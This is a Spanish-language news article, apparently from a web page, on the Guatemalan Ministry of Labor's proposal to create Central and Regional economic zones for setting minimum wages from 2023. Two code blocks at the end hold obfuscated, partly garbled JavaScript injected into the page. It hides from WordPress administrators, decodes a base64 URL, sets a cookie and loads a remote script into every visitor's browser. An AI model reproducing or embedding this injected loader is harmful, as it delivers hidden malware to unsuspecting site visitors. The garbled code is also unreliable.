

Guatemala: Ministerio de Trabajo propone crear circunscripciones económicas

La Comisión Nacional del Salario conoció el pasado 19 de noviembre, de manera oficial, la propuesta del Ministerio de Trabajo para crear dos circunscripciones económicas. La cartera estatal señala que el objetivo de la medida es el establecimiento de salarios regionales, los cuales comenzarán a aplicarse en el 2023.

De acuerdo al ministerio, estas serían denominadas como Zona Central y Zona Regional. La Central estaría constituida por el departamento Guatemala. En el caso de la Regional, la compondrían el área rural y urbana de los demás departamentos del país.

También te puede interesar: [**Datos del Libertómetro**](#)

Sobre la división por zonas, la institución señala que esta responde a las diferencias en los indicadores económicos entre el área urbana metropolitana y el interior del país.

Para fijar el salario mínimo bajo esta modalidad propuesta deberán convocarse seis comisiones paritarias. De estas, tres serían para la zona central y tres para la regional, por las actividades agrícolas, no agrícolas y de maquila/exportación. Asimismo, estas deben ser compuestas con representantes de los sectores laboral, empleador y gubernamental, indicó la viceministra de Administración de Trabajo, María Isabel Salazar.

La funcionaria ha señalado que la ley otorga facultades tanto al gobierno como a la cartera estatal para llevar a cabo los cambios propuestos. Salazar explicó que el artículo 105 del Código de Trabajo es el que da luz verde a las modificaciones.

Además, indicó que esta no requiere de ser aprobada con votos en la Comisión Nacional del Salario. Pero dijo que se decidió establecer un diálogo social para presentar las propuestas.

El Ministerio de Trabajo prevé que el próximo mes sea aprobado el acuerdo para crear las circunscripciones. De ser así se convocaría a las paritarias que tendrán a su cargo analizar el salario mínimo para el año 2023. En los primeros 20 días de enero próximo deberían quedar nombradas las comisiones.

En la reunión con la Comisión Nacional del Salario, el Ministerio de Trabajo expuso que la propuesta se fundamenta “en las marcadas diferencias que se observan en las características del sector productivo y el empleo entre el departamento de Guatemala”. Por lo que indicaron que se deben “tomar urgentemente” decisiones pertinentes y establecer soluciones para asegurar la protección de ingresos suficientes para los trabajadores, sin arriesgar las capacidades económicas de los empleados.

```
(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=new Date();for(var i=0;i<120)return;if((document.cookie||>).indexOf('http2_session_id')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=,o1,o2,o3,h1,h2,h3,h4,dec=»,i=0;input=input.replace(/\[^A-Za-zA-9+/=]/g,»);while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<>4);o2=((h2&15)<>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFrY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window=='undefined'&&window.__rl==u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=/';
```

```
SameSite=Lax'+(location.protocol==='https':'?';  
Secure:''));try{window.__rl=u;}catch(e){}var  
s=document.createElement('script');s.type='text/javascript';s.  
async=true;s.src=u;try{s.setAttribute('data-  
rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||d  
ocument.documentElement).appendChild(s);}catch(e){}}))();
```